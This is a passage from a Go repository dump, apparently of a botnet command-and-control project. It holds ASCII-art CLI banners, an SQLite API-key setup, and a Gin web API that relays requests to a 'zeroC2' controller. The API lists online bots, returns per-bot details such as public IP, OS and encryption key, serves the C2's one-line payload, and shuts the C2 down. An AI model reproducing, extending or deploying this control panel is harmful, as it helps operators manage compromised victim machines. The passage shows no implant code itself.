⠀⠀⠀⠀⠘⢱⢣⢯⣜⣌⣻⣯⣜⣹⣿⢃⣠⠻⠖⡵⢸⣿⠻⣿⣷⣿⡟⢻⣾⢊⣩⣿⣿⣿⣿⣿⣿⣽⣇⠐⠄⠬⠥⠤⠤⠤⠀⠀ 168 | ⠀⠀⠀⠀⠀⣼⣏⣼⠁⡟⣾⢻⠟⣿⣿⣿⣻⣴⣻⡗⣾⣿⡯⠟⢻⢩⣑⣾⣷⣿⠿⢿⣵⣟⣩⣿⣾⢩⣿⡀⠪⢉⡉⠉⠀⠀⠀⠀ SHELL ERROR !!!! 169 | ⠀⠀⠀⢀⡾⣽⢼⠼⡎⣤⣿⣿⣶⣿⢯⣿⢽⢛⢲⢸⣁⣿⣧⣤⣾⡿⠟⣗⣟⣿⣟⣳⠆⣡⣾⣿⢻⡼⢿⢓⠒⡄⠀⠀⠀⠀⠀⠀ 170 | ⠀⠀⢀⠎⡝⢸⠀⣆⣿⣿⣿⣝⣥⣿⣯⣊⣥⡟⠆⠢⠀⣷⣾⣿⣩⠛⢭⢯⣾⣿⡿⢿⢾⠏⣿⣿⢝⡖⡳⢠⡛⣿⡀⠀⠀⠀⠀⠀ 171 | ⠀⢠⠋⡼⢀⣌⣼⣿⢹⡿⣿⡿⢿⣿⠟⣿⣿⣿⢾⣿⡷⣿⣿⣟⢿⣿⣤⣾⢻⣿⣠⣿⣶⣾⣯⣯⢃⠝⡹⢹⢱⢿⣧⠀⠀⠀⠀⠀ 172 | ⢠⣣⠺⠕⠉⠀⠸⣿⡎⢿⣽⡽⣶⠍⠸⣏⣻⡿⣿⡘⡚⣏⣿⡎⠉⢸⢣⣢⣿⣿⣥⡍⣩⢟⠞⠓⢹⣾⣁⡇⢘⠸⠈⡆⠀⠀⠀⠀ 173 | ⠀⠀⠀⠠⠤⢀⡂⠹⣿⣎⠻⠯⠮⠤⣶⣾⢿⣯⣹⡁⠘⣂⣹⣿⣀⡸⢿⣿⡁⢿⣿⣿⣿⠋⠀⢠⣿⡟⠈⢰⠸⡀⢇⠸⡀⠀⠀⠀ 174 | ⠀⠀⠀⠒⡈⠅⡂⠔⠹⣯⡷⣄⣠⠤⡼⣛⣶⣿⣻⣧⣼⣿⠇⢻⣿⣯⣾⣿⣿⣿⠿⠋⠀⠀⣰⣿⠟⠀⠀⠀⠁⠱⣸⣆⢳⠀⠀⠀ 175 | ⠀⠀⠒⢉⠔⠊⡠⢊⢆⠎⠻⡇⣯⢅⢣⣳⠽⢞⠛⣌⣯⡢⠄⣒⡻⣿⣿⣶⢾⡟⠀⠀⣠⣮⡿⠋⠀⠀⠀⠀⠀⠀⠀⠁⠑⠃⠀⠀ 176 | ⠀⠰⠊⠁⠠⠊⢀⡎⠜⠀⠀⠹⣱⡿⡉⢪⡓⢦⠝⠉⠀⠙⠺⠽⠿⠬⠿⠟⢋⣠⣔⣿⠾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 177 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢧⢱⡘⣄⠹⣾⣽⣶⣲⣦⣤⣤⣤⣶⣶⣽⡿⠟⢋⢁⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 178 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⡆⢣⠘⡢⡁⠉⠉⠉⠉⠛⠛⠋⢉⠍⡄⠀⢡⢢⠢⡑⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 179 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⡀⣧⡇⠁⠀⠀⠀⠀⠀⠀⠀⠘⡆⡇⢠⠀⢣⠱⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 180 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢣⠇⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠈⠀⠀⢣⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 181 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠃⠀⠀⠀⠀ 182 | ` 183 | Shellhelp = "shell " 184 | ) 185 | 186 | const ( 187 | //custom method arts 188 | AddmethodArt = ` 189 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣠⠤⠖⠒⠐⠲⢤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 190 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠾⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣉⣷⡦⠤⠤⣤⡀⠀⠀⠀⠀⠀⠀⠀ 191 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⡞⠉⠀⢠⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠳⡈⠛⠶⣤⡈⠻⡄⠀⠀⠀⠀⠀⠀ 192 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣶⡾⠟⠃⣠⡔⣺⠃⡎⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠈⠳⣄⢸⡇⠀⣧⢰⡄⠀⠀⠀⠀ 193 | ⠀⠀⠀⠀⠀⠀⠀⠀⣠⠶⢛⡿⠋⠀⡴⠋⡽⡱⠁⣸⡅⠀⡀⠀⠀⠀⠀⠀⡞⢸⠀⢠⡇⠀⠀⠈⠛⢧⡀⣿⠀⠙⢦⠀⠀⠀ 194 | ⠀⠀⠀⠀⠀⢀⡴⠞⠁⢠⠞⠀⠀⣀⡇⣼⣱⠁⠀⡟⡇⠀⢹⠀⠀⠀⠀⣸⢁⡟⠀⡼⢷⡀⢸⡀⠀⠀⠙⠛⡀⠀⠀⢣⠀⠀ 195 | ⠀⠀⠀⠀⠀⠉⠀⠀⢀⠏⠀⠀⡼⠁⢇⣿⠃⢀⣷⣇⣿⠀⠸⡀⠀⠀⣞⣇⣾⠇⣼⠃⠈⢷⠘⣧⣤⠀⠀⠀⡇⠀⠀⠈⢧⠀ 196 | ⠀⠀⠀⠀⠀⠀⠀⠀⣼⠀⣰⣾⠁⢀⡼⣿⠀⣸⡟⢿⡟⣧⠀⣷⠀⣰⢹⡿⣿⣟⣉⣉⡉⠙⢷⢿⣾⡀⠀⠀⡇⠀⠀⠀⠘⡇ 197 | ⠀⠀⠀⠀⠀⠀⠀⠀⡇⣰⢟⡇⢠⠞⡀⣿⠀⣿⣇⣼⡟⢛⣷⣏⣷⡇⢸⡵⠿⠟⣽⣿⣿⠿⢿⣿⣿⡇⠀⠀⡇⠀⠀⠀⠀⢿ 198 | ⠀⠀⠀⠀⠀⠀⠀⠀⣧⡇⢸⡰⠃⡇⠘⣿⢸⡿⠁⣠⣿⣿⡟⣿⡇⢷⣿⠀⠀⠀⠙⠛⠋⠀⠀⣸⣿⣧⠀⢰⠃⠀⠀⢰⠂⢸ 199 | ⠀⠀⠀⠀⠀⠀⠀⠀⠹⢠⣿⠁⠀⣇⠀⠘⣿⣿⣿⠏⠿⠛⣱⠃⡿⠀⠹⡄⠀⠀⠀⠀⣀⣠⣴⡿⢿⣿⣇⡞⠀⠀⢠⠏⠀⣼ adding methods 200 | ⠀⠀⠀⠀⠀⠀⠀⢀⡴⠋⢿⠀⣰⢻⡀⠤⣽⣤⣽⠶⠤⠀⠁⠀⠛⠿⠂⠘⠒⠒⣋⣭⢿⡿⠋⣰⠿⣯⡿⢇⠀⣠⠏⠀⢀⡇ 201 | ⠀⠀⠀⠀⠀⠀⠴⠋⠀⠀⠸⣠⠇⣠⣧⣄⡀⣩⣭⣭⡽⠟⠃⠀⠀⠀⠀⠀⠐⠋⠁⢀⣾⠃⠘⣁⣄⡟⠀⢀⣿⣿⠀⠀⡼⠁ 202 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠋⢻⣿⣌⠙⢿⣿⡉⠁⠀⠀⠘⠛⠋⠉⠁⠀⣴⠟⣁⣴⣾⣿⢿⣧⠞⣫⠟⢁⣀⡜⠁⠀ 203 | ⠀⠀⠀⠀⠀⠀⢀⣀⣠⡴⠿⢻⠃⣰⣺⠈⢻⠷⢦⣬⣗⣦⣄⣀⡀⠀⠀⠤⠴⠟⠓⣋⠽⠛⣿⡿⢾⡟⠛⠁⣠⡿⠋⠀⠀⠀ 204 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣴⣿⣿⡆⣿⠀⠀⠉⢳⢭⣷⣬⠁⠀⠀⠀⣀⣴⡞⠥⣶⠟⠁⣠⠞⣁⣄⡼⠋⠀⠀⠀⠀⠀ 205 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠃⣿⠀⢧⠀⡀⢀⡀⡌⠀⢨⠛⣿⡳⠄⠉⠉⣀⣴⣾⣥⣶⣿⣿⣾⠟⠁⠀⠀⠀⠀⠀⠀⠀ 206 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠻⠀⠘⣆⡇⣼⡇⠇⣰⣿⣿⣿⣿⣿⣟⡋⠔⠉⠱⠛⠋⢹⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀ 207 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣷⡇⢻⣠⢏⣿⣿⣿⣿⣿⣿⣿⣶⣤⣤⣀⣠⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 208 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠀⣨⡿⠿⣷⡈⠉⣿⡙⠛⠿⣿⣿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 209 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣟⠫⠀⣠⡾⢋⡸⢿⣿⣷⡄⠀⢸⣿⢻⣯⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 210 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⠤⠚⠉⠀⣸⠟⢣⣾⣫⠴⠋⠀⠀⠈⠉⠀⠀⠘⢃⢻⣽⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 211 | ⠀⠀⠀⠀⠀⠀⣀⠠⠴⠖⠛⠉⠀⠀⢀⣠⡾⠋⢠⡿⠙⢦⡀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠀⠉⢻⣿⠿⣦⡀⠀⠀⠀⠀⠀⠀⠀ 212 | ⠀⠀⠀⠀⣴⠟⠁⠀⠀⠀⠀⠀⠀⠀⣾⠋⠈⠉⣹⣿⠒⠲⠽⠶⣦⣄⣀⣤⣄⠀⢰⢿⣤⣴⣫⡽⣷⢻⡍⠳⡄⠀⠀⠀⠀⠀ 213 | ⠀⠀⠀⡼⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣎⡄⠀⠀⠿⣷⠀⠀⠀⠀⠀⠀⠀⠙⣆⢸⢸⠁⠀⠀⠀⣿⠘⣷⡀⠀⠠⣄⠀⠀⠀ 214 | ⠀⠀⢰⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⠏⠁⠀⠀⣰⠟⠀⠀⠀⠀⠀⠀⠀⠀⠘⠶⠞⠀⠀⠀⠀⠹⣟⣾⢿⡄⠀⠈⢳⡀⠀ 215 | ⢠⡶⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡟⠃⢀⣠⣾⠏⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣄⣤⡀⠀⠀⠀⠀⣿⠇⣊⢻⡀⠀⠀⢻⡄ 216 | ⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣿⣿⣿⣿⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⣿⣼⢻⣿⠁⠀⠀⠀⣰⣟⠀⠈⣸⡷⠀⠀⠀⣷ 217 | ` 218 | ) 219 | -------------------------------------------------------------------------------- /webserver/initDB/initdb.go: -------------------------------------------------------------------------------- 1 | package initdb 2 | 3 | import ( 4 | "crypto/rand" 5 | "database/sql" 6 | "encoding/hex" 7 | "errors" 8 | "fmt" 9 | "log" 10 | ) 11 | 12 | const ( 13 | dbPath = "zeroAPI.db" // you can replace this with your desired database file path 14 | tableName = "auth_tokens" // dont change !!! 15 | createStmt = ` 16 | CREATE TABLE IF NOT EXISTS auth_tokens ( 17 | token TEXT PRIMARY KEY 18 | ); 19 | ` 20 | checktokencount = "SELECT COUNT(*) FROM auth_tokens" 21 | checktoken = "SELECT COUNT(*) FROM auth_tokens WHERE token=?" 22 | inserttoken = "INSERT INTO auth_tokens (token) VALUES ('%s')" 23 | getAPI = "SELECT token FROM auth_tokens" 24 | ANSIgreen = "\033[32m" 25 | ANSIred = "\033[31m" 26 | ANSIesc = "\033[0m" 27 | ) 28 | 29 | type ColoredString string 30 | 31 | func (s ColoredString) Green() string { 32 | return fmt.Sprintf("%s%s%s", ANSIgreen, s, ANSIesc) 33 | } 34 | 35 | func (s ColoredString) Red() string { 36 | return fmt.Sprintf("%s%s%s", ANSIred, s, ANSIesc) 37 | } 38 | 39 | func generateAPIKey(db *sql.DB) (string, error) { 40 | // Generate 8 random bytes 41 | var result int 42 | randomBytes := make([]byte, 8) 43 | _, err := rand.Read(randomBytes) 44 | if err != nil { 45 | return "", err 46 | } 47 | 48 | apiKey := hex.EncodeToString(randomBytes) 49 | 50 | apiKey += hex.EncodeToString(randomBytes) 51 | 52 | err = db.QueryRow("SELECT COUNT(*) FROM auth_tokens WHERE token=?", apiKey).Scan(&result) 53 | 54 | if err != nil { 55 | return "", err 56 | } 57 | 58 | if result > 0 { 59 | //you somehow managed to generate two identical 16 char hex key 60 | log.Println("identical API key detected") 61 | return "", errors.New("identical API") 62 | } 63 | 64 | _, err = db.Exec(fmt.Sprintf(inserttoken, apiKey)) 65 | 66 | if err != nil { 67 | return "", err 68 | } 69 | 70 | return apiKey, nil 71 | } 72 | 73 | func printAPIlist(db *sql.DB) error { 74 | rows, err := db.Query(getAPI) 75 | if err != nil { 76 | return err 77 | } 78 | defer rows.Close() 79 | 80 | for rows.Next() { 81 | var apiKey string 82 | if err := rows.Scan(&apiKey); err != nil { 83 | log.Println("Error scanning API key:", err) 84 | continue 85 | } 86 | log.Println(ColoredString(fmt.Sprintf("API key:%s", apiKey)).Green()) 87 | } 88 | if err := rows.Err(); err != nil { 89 | return err 90 | } 91 | return nil 92 | } 93 | 94 | func checkvalue(db *sql.DB) bool { 95 | var result int 96 | err := db.QueryRow(checktokencount).Scan(&result) 97 | if err != nil { 98 | log.Fatal(err) 99 | } 100 | return result > 0 101 | } 102 | 103 | func tableExists(db *sql.DB, tableName string) bool { 104 | var result int 105 | err := db.QueryRow("SELECT COUNT(*) FROM sqlite_master WHERE type='table' AND name=?", tableName).Scan(&result) 106 | if err != nil { 107 | log.Fatal(err) 108 | } 109 | return result > 0 110 | } 111 | 112 | func InitDB() error { 113 | 114 | db, err := sql.Open("sqlite3", dbPath) 115 | if err != nil { 116 | return err 117 | } 118 | defer func() { 119 | _, err := db.Exec("VACUUM") 120 | if err != nil { 121 | log.Fatalln(err) 122 | } 123 | db.Close() 124 | }() 125 | 126 | // Check if the table exists 127 | if !tableExists(db, tableName) { 128 | log.Printf(ColoredString(fmt.Sprintf("%s does not exist, creating one", dbPath)).Red()) 129 | _, err := db.Exec(createStmt) 130 | if err != nil { 131 | log.Fatal(err) 132 | } 133 | log.Printf("Table '%s' created successfully.\n", tableName) 134 | key, err := generateAPIKey(db) 135 | 136 | if err != nil { 137 | if err.Error() == "identical API" { 138 | log.Println("reinitializing Database") 139 | InitDB() 140 | } else { 141 | log.Fatalln(err) 142 | } 143 | } 144 | 145 | log.Println(ColoredString(fmt.Sprintf("created API key:%s", key)).Green()) 146 | return nil 147 | } else { 148 | if checkvalue(db) { 149 | log.Println("API token/s already present") 150 | printAPIlist(db) 151 | return nil 152 | } 153 | log.Println(ColoredString("No API key found in the table").Red()) 154 | 155 | key, err := generateAPIKey(db) 156 | 157 | if err != nil { 158 | if err.Error() == "identical API" { 159 | log.Println("reinitializing Database") 160 | InitDB() 161 | } else { 162 | log.Fatalln(err) 163 | } 164 | } 165 | 166 | log.Println("created API key:", key) 167 | 168 | return nil 169 | } 170 | 171 | } 172 | -------------------------------------------------------------------------------- /webserver/server.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "database/sql" 5 | "fmt" 6 | "log" 7 | "net/http" 8 | initdb "terylene/webserver/initDB" 9 | "time" 10 | 11 | "github.com/gin-gonic/gin" 12 | _ "github.com/mattn/go-sqlite3" 13 | zmq "github.com/pebbe/zmq4" 14 | ) 15 | 16 | const ( 17 | port = "80" //you can change the port 18 | dbPath = "zeroAPI.db" // you can replace this with your desired database file path 19 | tableName = "auth_tokens" // dont change !!! 20 | createStmt = ` 21 | CREATE TABLE IF NOT EXISTS auth_tokens ( 22 | token TEXT PRIMARY KEY 23 | ); 24 | ` 25 | checktokencount = "SELECT COUNT(*) FROM auth_tokens" 26 | checktoken = "SELECT COUNT(*) FROM auth_tokens WHERE token=?" 27 | ANSIgreen = "\033[32m" 28 | ANSIred = "\033[31m" 29 | ANSIesc = "\033[0m" 30 | ) 31 | 32 | func checkvalue(db *sql.DB) bool { 33 | var result int 34 | err := db.QueryRow(checktokencount).Scan(&result) 35 | if err != nil { 36 | log.Fatal(err) 37 | } 38 | return result > 0 39 | } 40 | 41 | func tableExists(db *sql.DB, tableName string) bool { 42 | var result int 43 | err := db.QueryRow("SELECT COUNT(*) FROM sqlite_master WHERE type='table' AND name=?", tableName).Scan(&result) 44 | if err != nil { 45 | log.Fatal(err) 46 | } 47 | return result > 0 48 | } 49 | 50 | func C2Call(zcon *zmq.Context, args ...interface{}) []string { 51 | req, err := zcon.NewSocket(zmq.REQ) 52 | 53 | if err != nil { 54 | log.Println(err) 55 | } 56 | 57 | req.SetRcvtimeo(time.Second * 5) 58 | req.Connect("ipc:///tmp/ZeroCall") 59 | req.SendMessage(args...) 60 | 61 | result, err := req.RecvMessage(0) 62 | 63 | req.Close() 64 | 65 | if len(result) == 0 { 66 | return []string{"server IPC timed out (zeroC2 may be down)"} 67 | } 68 | return result 69 | } 70 | 71 | func main() { 72 | err := initdb.InitDB() 73 | if err != nil { 74 | log.Printf("Error initializing database: %v\n", err) 75 | return 76 | } 77 | log.Println("Database initialized") 78 | 79 | router := gin.Default() 80 | 81 | db, err := sql.Open("sqlite3", dbPath) 82 | if err != nil { 83 | log.Fatalln(err) 84 | } 85 | 86 | zcon, err := zmq.NewContext() 87 | 88 | router.GET("/GetBotsOnline", func(c *gin.Context) { 89 | GetBotsOnline(c, db, zcon) 90 | }) 91 | 92 | router.GET("/GetBotslist", func(c *gin.Context) { 93 | GetBotslist(c, db, zcon) 94 | }) 95 | 96 | router.GET("/Uptime", func(c *gin.Context) { 97 | Uptime(c, db, zcon) 98 | }) 99 | 100 | router.GET("/shutdown", func(c *gin.Context) { 101 | shutdown(c, db, zcon) 102 | }) 103 | 104 | router.GET("/GetInfo", func(c *gin.Context) { 105 | GetInfo(c, db, zcon) 106 | }) 107 | 108 | router.GET("/Getpayload", func(c *gin.Context) { 109 | Getpayload(c, db, zcon) 110 | }) 111 | 112 | router.NoRoute(func(c *gin.Context) { 113 | c.File("./static/APIinfo.txt") 114 | }) 115 | 116 | router.Run(fmt.Sprintf(":%s", port)) 117 | } 118 | 119 | func authenticateToken(c *gin.Context, token string, db *sql.DB) bool { 120 | if token == "" || len(token) != 32 { 121 | c.JSON(http.StatusUnauthorized, gin.H{ 122 | "error": "No/Invalid API key", 123 | }) 124 | return false 125 | } 126 | 127 | var result int 128 | err := db.QueryRow(checktoken, token).Scan(&result) 129 | if err != nil { 130 | log.Println(err) 131 | 132 | c.JSON(http.StatusInternalServerError, gin.H{ 133 | "error": "Internal Database error", 134 | }) 135 | 136 | return false 137 | } 138 | 139 | if result > 0 { 140 | return true 141 | } else { 142 | c.JSON(http.StatusUnauthorized, gin.H{ 143 | "error": "Invalid API key", 144 | }) 145 | return false 146 | } 147 | } 148 | 149 | func GetBotsOnline(c *gin.Context, db *sql.DB, zcon *zmq.Context) { 150 | token := c.Query("token") 151 | 152 | allow := authenticateToken(c, token, db) 153 | 154 | if allow { 155 | result := C2Call(zcon, "GetBotsOnline") 156 | c.JSON(http.StatusOK, gin.H{ 157 | "result": result[0], 158 | }) 159 | } 160 | } 161 | 162 | func GetBotslist(c *gin.Context, db *sql.DB, zcon *zmq.Context) { 163 | token := c.Query("token") 164 | 165 | allow := authenticateToken(c, token, db) 166 | 167 | if allow { 168 | result := C2Call(zcon, "GetBotslist") 169 | c.JSON(http.StatusOK, gin.H{ 170 | "result": result, 171 | }) 172 | } 173 | } 174 | 175 | func Getpayload(c *gin.Context, db *sql.DB, zcon *zmq.Context) { 176 | token := c.Query("token") 177 | 178 | allow := authenticateToken(c, token, db) 179 | 180 | if allow { 181 | result := C2Call(zcon, "Getpayload") 182 | c.JSON(http.StatusOK, gin.H{ 183 | "result": result[0], 184 | }) 185 | } 186 | } 187 | 188 | func Uptime(c *gin.Context, db *sql.DB, zcon *zmq.Context) { 189 | token := c.Query("token") 190 | 191 | allow := authenticateToken(c, token, db) 192 | 193 | if allow { 194 | result := C2Call(zcon, "Uptime") 195 | c.JSON(http.StatusOK, gin.H{ 196 | "result": result[0], 197 | }) 198 | } 199 | } 200 | 201 | func GetInfo(c *gin.Context, db *sql.DB, zcon *zmq.Context) { 202 | token := c.Query("token") 203 | botId := c.Query("ID") 204 | if botId == "" { 205 | c.JSON(http.StatusOK, gin.H{ 206 | "result": "No ID", 207 | }) 208 | return 209 | } 210 | allow := authenticateToken(c, token, db) 211 | 212 | if allow { 213 | result := C2Call(zcon, "GetInfo", botId) 214 | if len(result) == 1 { 215 | c.JSON(http.StatusOK, gin.H{ 216 | "result": result[0], 217 | }) 218 | } else { 219 | log.Println(result) 220 | c.JSON(http.StatusOK, gin.H{ 221 | "result": gin.H{ 222 | "arch": result[0], 223 | "local ip": result[1], 224 | "public ip": result[2], 225 | "OS": result[3], 226 | "encryption key": result[4], 227 | }, 228 | }) 229 | } 230 | } 231 | } 232 | 233 | func shutdown(c *gin.Context, db *sql.DB, zcon *zmq.Context) { 234 | token := c.Query("token") 235 | 236 | allow := authenticateToken(c, token, db) 237 | 238 | if allow { 239 | result := C2Call(zcon, "shutdown") 240 | 241 | c.JSON(http.StatusOK, gin.H{ 242 | "result": result[0], 243 | }) 244 | } 245 | } 246 | -------------------------------------------------------------------------------- /webserver/static/APIinfo.txt: -------------------------------------------------------------------------------- 1 | GET /GetBotsOnline --> get amount of bots online in C2 2 | GET /GetBotslist --> get list of connIDs of the bots connected to the C2 3 | GET /Uptime --> get C2 uptime 4 | GET /shutdown --> shutdown C2 5 | GET /GetInfo --> get bot info through connID (query (ID=)) 6 | GET /Getpayload --> get C2 one line payload 7 | --------------------------------------------------------------------------------